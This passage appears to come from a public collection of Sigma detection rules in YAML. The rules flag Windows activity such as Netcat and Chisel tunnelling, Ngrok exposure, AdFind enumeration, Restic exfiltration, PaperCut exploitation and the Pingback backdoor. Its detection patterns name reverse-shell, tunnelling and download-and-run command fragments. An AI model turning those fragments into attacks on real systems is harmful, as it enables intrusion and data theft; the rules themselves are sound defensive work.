    - attack.t1134.002
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        CommandLine|contains:
            - '/EXEFilename'
            - '/CommandLine'
    selection_runas:
        - CommandLine|contains:
              - ' /RunAs 8 '
              - ' /RunAs 4 '
              - ' /RunAs 10 '
              - ' /RunAs 11 '
        - CommandLine|endswith:
              - '/RunAs 8'
              - '/RunAs 4'
              - '/RunAs 10'
              - '/RunAs 11'
    condition: all of selection*
falsepositives:
    - Unknown
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_pua_advancedrun_priv_user/info.yml

title: PUA - Chisel Tunneling Tool Execution
id: 8b0e12da-d3c3-49db-bb4f-256703f380e5
related:
    - id: cf93e05e-d798-4d9e-b522-b0248dc61eaf
      type: similar
status: test
description: Detects usage of the Chisel tunneling tool via the commandline arguments
references:
    - https://github.com/jpillora/chisel/
    - https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/
    - https://blog.sekoia.io/lucky-mouse-incident-response-to-detection-engineering/
author: Florian Roth (Nextron Systems)
date: 2022-09-13
modified: 2023-02-13
tags:
    - attack.command-and-control
    - attack.t1090.001
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        Image|endswith: '\chisel.exe'
    selection_param1:
        CommandLine|contains:
            - 'exe client '
            - 'exe server '
    selection_param2:
        CommandLine|contains:
            - '-socks5'
            - '-reverse'
            - ' r:'
            - ':127.0.0.1:'
            - '-tls-skip-verify '
            - ':socks'
    condition: selection_img or all of selection_param*
falsepositives:
    - Some false positives may occur with other tools with similar commandlines
level: high

title: PUA - CleanWipe Execution
id: f44800ac-38ec-471f-936e-3fa7d9c53100
status: test
description: Detects the use of CleanWipe a tool usually used to delete Symantec antivirus.
references:
    - https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/CleanWipe
author: Nasreddine Bencherchali (Nextron Systems)
date: 2021-12-18
modified: 2023-02-14
tags:
    - attack.defense-impairment
    - attack.t1685
logsource:
    category: process_creation
    product: windows
detection:
    selection1:
        Image|endswith: '\SepRemovalToolNative_x64.exe'
    selection2:
        Image|endswith: '\CATClean.exe'
        CommandLine|contains: '--uninstall'
    selection3:
        Image|endswith: '\NetInstaller.exe'
        CommandLine|contains: '-r'
    selection4:
        Image|endswith: '\WFPUnins.exe'
        CommandLine|contains|all:
            - '/uninstall'
            - '/enterprise'
    condition: 1 of selection*
falsepositives:
    - Legitimate administrative use (Should be investigated either way)
level: high

title: PUA - DIT Snapshot Viewer
id: d3b70aad-097e-409c-9df2-450f80dc476b
status: test
description: Detects the use of Ditsnap tool, an inspection tool for Active Directory database, ntds.dit.
references:
    - https://thedfirreport.com/2020/06/21/snatch-ransomware/
    - https://web.archive.org/web/20201124182207/https://github.com/yosqueoy/ditsnap
author: Furkan Caliskan (@caliskanfurkan_)
date: 2020-07-04
modified: 2023-02-21
tags:
    - attack.credential-access
    - attack.t1003.003
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        - Image|endswith: '\ditsnap.exe'
        - CommandLine|contains: 'ditsnap.exe'
    condition: selection
falsepositives:
    - Legitimate admin usage
level: high

title: PUA - Netcat Suspicious Execution
id: e31033fc-33f0-4020-9a16-faf9b31cbf08
status: test
description: Detects execution of Netcat. Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network
references:
    - https://nmap.org/ncat/
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md
    - https://www.revshells.com/
author: frack113, Florian Roth (Nextron Systems)
date: 2021-07-21
modified: 2023-02-08
tags:
    - attack.command-and-control
    - attack.t1095
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        # can not use OriginalFileName as is empty
        Image|endswith:
            - '\nc.exe'
            - '\ncat.exe'
            - '\netcat.exe'
    selection_cmdline:
        # Typical command lines
        CommandLine|contains:
            - ' -lvp '
            - ' -lvnp'
            - ' -l -v -p '
            - ' -lv -p '
            - ' -l --proxy-type http '
            # - ' --exec cmd.exe ' # Not specific enough for netcat
            - ' -vnl --exec '
            - ' -vnl -e '
            - ' --lua-exec '
            - ' --sh-exec '
    condition: 1 of selection_*
falsepositives:
    - Legitimate ncat use
level: high

title: PUA - Ngrok Execution
id: ee37eb7c-a4e7-4cd5-8fa4-efa27f1c3f31
status: test
description: |
  Detects the use of Ngrok, a utility used for port forwarding and tunneling, often used by threat actors to make local protected services publicly available.
  Involved domains are bin.equinox.io for download and *.ngrok.io for connections.
references:
    - https://ngrok.com/docs
    - https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html
    - https://stackoverflow.com/questions/42442320/ssh-tunnel-to-ngrok-and-initiate-rdp
    - https://www.virustotal.com/gui/file/58d21840d915aaf4040ceb89522396124c82f325282f805d1085527e1e2ccfa1/detection
    - https://cybleinc.com/2021/02/15/ngrok-platform-abused-by-hackers-to-deliver-a-new-wave-of-phishing-attacks/
    - https://twitter.com/xorJosh/status/1598646907802451969
    - https://www.softwaretestinghelp.com/how-to-use-ngrok/
author: Florian Roth (Nextron Systems)
date: 2021-05-14
modified: 2023-02-21
tags:
    - attack.command-and-control
    - attack.t1572
logsource:
    category: process_creation
    product: windows
detection:
    selection1:
        CommandLine|contains:
            - ' tcp 139'
            - ' tcp 445'
            - ' tcp 3389'
            - ' tcp 5985'
            - ' tcp 5986'
    selection2:
        CommandLine|contains|all:
            - ' start '
            - '--all'
            - '--config'
            - '.yml'
    selection3:
        Image|endswith: 'ngrok.exe'
        CommandLine|contains:
            - ' tcp '
            - ' http '
            - ' authtoken '
    selection4:
        CommandLine|contains:
            - '.exe authtoken '
            - '.exe start --all'
    condition: 1 of selection*
falsepositives:
    - Another tool that uses the command line switches of Ngrok
    - Ngrok http 3978 (https://learn.microsoft.com/en-us/azure/bot-service/bot-service-debug-channel-ngrok?view=azure-bot-service-4.0)
level: high

title: PUA - NirCmd Execution As LOCAL SYSTEM
id: d9047477-0359-48c9-b8c7-792cedcdc9c4
status: test
description: Detects the use of NirCmd tool for command execution as SYSTEM user
references:
    - https://www.nirsoft.net/utils/nircmd.html
    - https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/
    - https://www.nirsoft.net/utils/nircmd2.html#using
author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
date: 2022-01-24
modified: 2023-02-13
tags:
    - attack.execution
    - attack.t1569.002
    - attack.s0029
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains: ' runassystem '
    condition: selection
falsepositives:
    - Legitimate use by administrators
level: high

title: PUA - Restic Backup Tool Execution
id: 6ddff2e8-ea1a-45d0-8938-93dfc1d67ae7
status: experimental
description: |
    Detects the execution of the Restic backup tool, which can be used for data exfiltration.
    Threat actors may leverage Restic to back up and exfiltrate sensitive data to remote storage locations, including cloud services.
    If not legitimately used in the enterprise environment, its presence may indicate malicious activity.
references:
    - https://thedfirreport.com/2024/09/30/nitrogen-campaign-drops-sliver-and-ends-with-blackcat-ransomware/#exfiltration
    - https://restic.net/
    - https://restic.readthedocs.io/en/stable/030_preparing_a_new_repo.html
author: Nounou Mbeiri, Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-10-17
tags:
    - attack.exfiltration
    - attack.t1048
    - attack.t1567.002
logsource:
    product: windows
    category: process_creation
detection:
    selection_specific:
        - CommandLine|contains|all:
              - '--password-file'
              - 'init'
              - ' -r '
        - CommandLine|contains|all:
              - '--use-fs-snapshot'
              - 'backup'
              - ' -r '
    selection_restic:
        CommandLine|contains:
            - 'sftp:'
            - 'rest:http'
            - 's3:s3.'
            - 's3.http'
            - 'azure:'
            - ' gs:'
            - 'rclone:'
            - 'swift:'
            - ' b2:'
        CommandLine|contains|all:
            - ' init '
            - ' -r '
    condition: 1 of selection_*
falsepositives:
    - Legitimate use of Restic for backup purposes within the organization.
level: high

title: PUA - RunXCmd Execution
id: 93199800-b52a-4dec-b762-75212c196542
status: test
description: Detects the use of the RunXCmd tool to execute commands with System or TrustedInstaller accounts
references:
    - https://www.d7xtech.com/free-software/runx/
    - https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/
author: Florian Roth (Nextron Systems)
date: 2022-01-24
modified: 2023-02-14
tags:
    - attack.execution
    - attack.t1569.002
    - attack.s0029
logsource:
    category: process_creation
    product: windows
detection:
    selection_account:
        CommandLine|contains:
            - ' /account=system '
            - ' /account=ti '
    selection_exec:
        CommandLine|contains: '/exec='
    condition: all of selection_*
falsepositives:
    - Legitimate use by administrators
level: high

title: PUA - Suspicious ActiveDirectory Enumeration Via AdFind.EXE
id: 455b9d50-15a1-4b99-853f-8d37655a4c1b
related:
    - id: 9a132afa-654e-11eb-ae93-0242ac130002
      type: similar
    - id: 514e7e3e-b3b4-4a67-af60-be20f139198b
      type: similar
status: test
description: Detects active directory enumeration activity using known AdFind CLI flags
references:
    - https://www.joeware.net/freetools/tools/adfind/
    - https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.002/T1087.002.md
author: frack113
date: 2021-12-13
modified: 2023-03-05
tags:
    - attack.discovery
    - attack.t1087.002
logsource:
    product: windows
    category: process_creation
detection:
    selection_password: # Listing password policy
        CommandLine|contains:
            - lockoutduration
            - lockoutthreshold
            - lockoutobservationwindow
            - maxpwdage
            - minpwdage
            - minpwdlength
            - pwdhistorylength
            - pwdproperties
    selection_enum_ad: # Enumerate Active Directory Admins
        CommandLine|contains: '-sc admincountdmp'
    selection_enum_exchange: # Enumerate Active Directory Exchange AD Objects
        CommandLine|contains: '-sc exchaddresses'
    condition: 1 of selection_*
falsepositives:
    - Authorized administrative activity
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_pua_adfind_enumeration/info.yml

title: PaperCut MF/NG Exploitation Related Indicators
id: de1bd0b6-6d59-417c-86d9-a44114aede3b
status: test
description: Detects exploitation indicators related to PaperCut MF/NG Exploitation
references:
    - https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software
    - https://www.papercut.com/kb/Main/PO-1216-and-PO-1219
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-04-25
tags:
    - attack.execution
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection_1:
        CommandLine|contains|all:
            - ' /c '
            - 'powershell'
            - '-nop -w hidden'
            - 'Invoke-WebRequest'
            - 'setup.msi'
            - '-OutFile'
    selection_2:
        CommandLine|contains|all:
            - 'msiexec '
            - '/i '
            - 'setup.msi '
            - '/qn '
            - 'IntegratorLogin=fimaribahundq'
    condition: 1 of selection_*
falsepositives:
    - Unlikely
level: high

title: PaperCut MF/NG Potential Exploitation
id: 0934ac71-a331-4e98-a034-d49c491fbbcb
status: test
description: Detects suspicious child processes of "pc-app.exe". Which could indicate potential exploitation of PaperCut
references:
    - https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software
    - https://github.com/huntresslabs/threat-intel/blob/3bad6b0fadfcca3ff5680923e74e39edd72f32da/2023/2023-04/20-PaperCut/win_susp_papercut_code_execution.yml
author: Nasreddine Bencherchali (Nextron Systems), Huntress DE&TH Team (idea)
date: 2023-04-20
modified: 2023-04-25
tags:
    - attack.execution
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\pc-app.exe'
        Image|endswith:
            - '\bash.exe'
            - '\calc.exe'
            - '\certutil.exe'
            - '\cmd.exe'
            - '\csc.exe'
            - '\cscript.exe'
            - '\dllhost.exe'
            - '\mshta.exe'
            - '\msiexec.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\regsvr32.exe'
            - '\rundll32.exe'
            - '\scriptrunner.exe'
            - '\wmic.exe'
            - '\wscript.exe'
            - '\wsl.exe'
    condition: selection
falsepositives:
    - Legitimate administration activity
level: high

title: Peach Sandstorm APT Process Activity Indicators
id: 2e7bbd54-2f26-476e-b4a1-ba5f1a012614
status: test
description: Detects process creation activity related to Peach Sandstorm APT
references:
    - https://twitter.com/MsftSecIntel/status/1737895710169628824
    - https://www.virustotal.com/gui/file/364275326bbfc4a3b89233dabdaf3230a3d149ab774678342a40644ad9f8d614/details
author: X__Junior (Nextron Systems)
date: 2024-01-15
tags:
    - attack.execution
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains: 'QP''s\*(58vaP!tF4'
    condition: selection
falsepositives:
    - Unlikely
level: high

title: Persistence Via Hhctrl.ocx
id: f10ed525-97fe-4fed-be7c-2feecca941b1
status: test
description: Detects when an attacker modifies the registry value of the "hhctrl" to point to a custom binary
references:
    - https://persistence-info.github.io/Data/hhctrl.html
    - https://www.hexacorn.com/blog/2018/04/23/beyond-good-ol-run-key-part-77/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-07-21
modified: 2023-08-17
tags:
    - attack.persistence
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|contains: '\CLSID\{52A2AAAE-085D-4187-97EA-8C30DB990436}\InprocServer32\(Default)'
    filter:
        Details: 'C:\Windows\System32\hhctrl.ocx'
    condition: selection and not filter
falsepositives:
    - Unlikely
level: high

title: Phishing Pattern ISO in Archive
id: fcdf69e5-a3d3-452a-9724-26f2308bf2b1
status: test
description: Detects cases in which an ISO files is opend within an archiver like 7Zip or Winrar, which is a sign of phishing as threat actors put small ISO files in archives as email attachments to bypass certain filters and protective measures (mark of web)
references:
    - https://twitter.com/1ZRR4H/status/1534259727059787783
    - https://app.any.run/tasks/e1fe6a62-bce8-4323-a49a-63795d9afd5d/
author: Florian Roth (Nextron Systems)
date: 2022-06-07
tags:
    - attack.initial-access
    - attack.t1566
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith:
            - '\Winrar.exe'
            - '\7zFM.exe'
            - '\peazip.exe'
        Image|endswith:
            - '\isoburn.exe'
            - '\PowerISO.exe'
            - '\ImgBurn.exe'
    condition: selection
falsepositives:
    - Legitimate cases in which archives contain ISO or IMG files and the user opens the archive and the image via clicking and not extraction
level: high

title: Pikabot Fake DLL Extension Execution Via Rundll32.EXE
id: 1bf0ba65-9a39-42a2-9271-31d31bf2f0bf
status: test
description: |
    Detects specific process tree behavior linked to "rundll32" executions, wherein the associated DLL lacks a common ".dll" extension, often signaling potential Pikabot activity.
references:
    - https://github.com/pr0xylife/Pikabot
    - https://tria.ge/231004-tp8k6sch9t/behavioral2
    - https://www.virustotal.com/gui/file/56db0c4842a63234ab7fe2dda6eeb63aa7bb68f9a456985b519122f74dea37e2/behavior
    - https://tria.ge/231212-r1bpgaefar/behavioral2
author: Swachchhanda Shrawan Poudel, Nasreddine Bencherchali (Nextron Systems)
date: 2024-01-26
tags:
    - attack.execution
    - detection.emerging-threats
    - attack.stealth
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        ParentImage|endswith:
            - '\cmd.exe'
            - '\cscript.exe'
            - '\mshta.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\regsvr32.exe'
            - '\wscript.exe'
        Image|endswith: '\rundll32.exe'
        CommandLine|contains:
            - ':\ProgramData\'
            - ':\Users\Public\'
            - ':\Windows\Installer\'
            - '\AppData\Local\Temp\'
            - '\AppData\Roaming\'
    filter_main_known_extension:
        - CommandLine|contains:
              - '.cpl '
              - '.cpl,'
              - '.dll '
              - '.dll,'
              - '.inf '
              - '.inf,'
        - CommandLine|endswith:
              - '.cpl'
              - '.cpl"'
              - '.dll'
              - '.dll"'
              - '.inf'
              - '.inf"'
              - ".cpl'"
              - ".dll'"
              - ".inf'"
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unknown
level: high

title: Ping Hex IP
id: 1a0d4aba-7668-4365-9ce4-6d79ab088dfd
status: test
description: Detects a ping command that uses a hex encoded IP address
references:
    - https://github.com/vysecurity/Aggressor-VYSEC/blob/0d61c80387b9432dab64b8b8a9fb52d20cfef80e/ping.cna
    - https://twitter.com/vysecurity/status/977198418354491392
author: Florian Roth (Nextron Systems)
date: 2018-03-23
modified: 2025-10-17
tags:
    - attack.stealth
    - attack.t1140
    - attack.t1027
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\ping.exe'
        CommandLine|re: '0x[a-fA-F0-9]{8}'
    condition: selection
falsepositives:
    - Unlikely, because no sane admin pings IP addresses in a hexadecimal form
level: high

title: Pingback Backdoor Activity
id: b2400ffb-7680-47c0-b08a-098a7de7e7a9
related:
    - id: 35a7dc42-bc6f-46e0-9f83-81f8e56c8d4b # DLL Load
      type: similar
    - id: 2bd63d53-84d4-4210-80ff-bf0658f1bf78 # File Indicators
      type: similar
status: test
description: Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report
references:
    - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel
    - https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406
author: Bhabesh Raj
date: 2021-05-05
modified: 2023-02-17
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.execution
    - attack.stealth
    - attack.t1574.001
    - detection.emerging-threats
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        ParentImage|endswith: '\updata.exe'
        CommandLine|contains|all:
            - 'config'
            - 'msdtc'
            - 'start'
            - 'auto'
    condition: selection
falsepositives:
    - Unlikely
level: high

title: Pingback Backdoor DLL Loading Activity
id: 35a7dc42-bc6f-46e0-9f83-81f8e56c8d4b
related:
    - id: 35a7dc42-bc6f-46e0-9f83-81f8e56c8d4b # File indicators
      type: similar
    - id: b2400ffb-7680-47c0-b08a-098a7de7e7a9 # Process Creation
      type: similar
status: test
description: Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report
references:
    - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel
    - https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406
author: Bhabesh Raj
date: 2021-05-05
modified: 2023-02-17
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.execution
    - attack.stealth
    - attack.t1574.001
    - detection.emerging-threats
logsource:
    product: windows
    category: image_load
detection:
    selection:
        Image|endswith: '\msdtc.exe'
        ImageLoaded: 'C:\Windows\oci.dll'
    condition: selection
falsepositives:
    - Unlikely
level: high

title: Pingback Backdoor File Indicators
id: 2bd63d53-84d4-4210-80ff-bf0658f1bf78
related:
    - id: 35a7dc42-bc6f-46e0-9f83-81f8e56c8d4b # DLL Load
      type: similar
    - id: b2400ffb-7680-47c0-b08a-098a7de7e7a9 # Process Creation
      type: similar
status: test
description: Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report
references:
    - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel
    - https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406
author: Bhabesh Raj
date: 2021-05-05
modified: 2023-02-17
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.execution
    - attack.stealth
    - attack.t1574.001
    - detection.emerging-threats
logsource:
    product: windows
    category: file_event
detection:
    selection:
        Image|endswith: 'updata.exe'
        TargetFilename: 'C:\Windows\oci.dll'
    condition: selection
falsepositives:
    - Unlikely
level: high

title: Possible Privilege Escalation via Weak Service Permissions
id: d937b75f-a665-4480-88a5-2f20e9f9b22a
status: test
description: Detection of sc.exe utility spawning by user with Medium integrity level to change service ImagePath or FailureCommand
references:
    - https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment
    - https://pentestlab.blog/2017/03/30/weak-service-permissions/
author: Teymur Kheirkhabarov
date: 2019-10-26
modified: 2024-12-01
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.execution
    - attack.stealth
    - attack.t1574.011
logsource:
    category: process_creation
    product: windows
detection:
    scbynonadmin:
        Image|endswith: '\sc.exe'
        IntegrityLevel:
            - 'Medium'
            - 'S-1-16-8192'
    selection_binpath:
        CommandLine|contains|all:
            - 'config'
            - 'binPath'
    selection_failure:
        CommandLine|contains|all:
            - 'failure'
            - 'command'
    condition: scbynonadmin and 1 of selection_*
falsepositives:
    - Unknown
level: high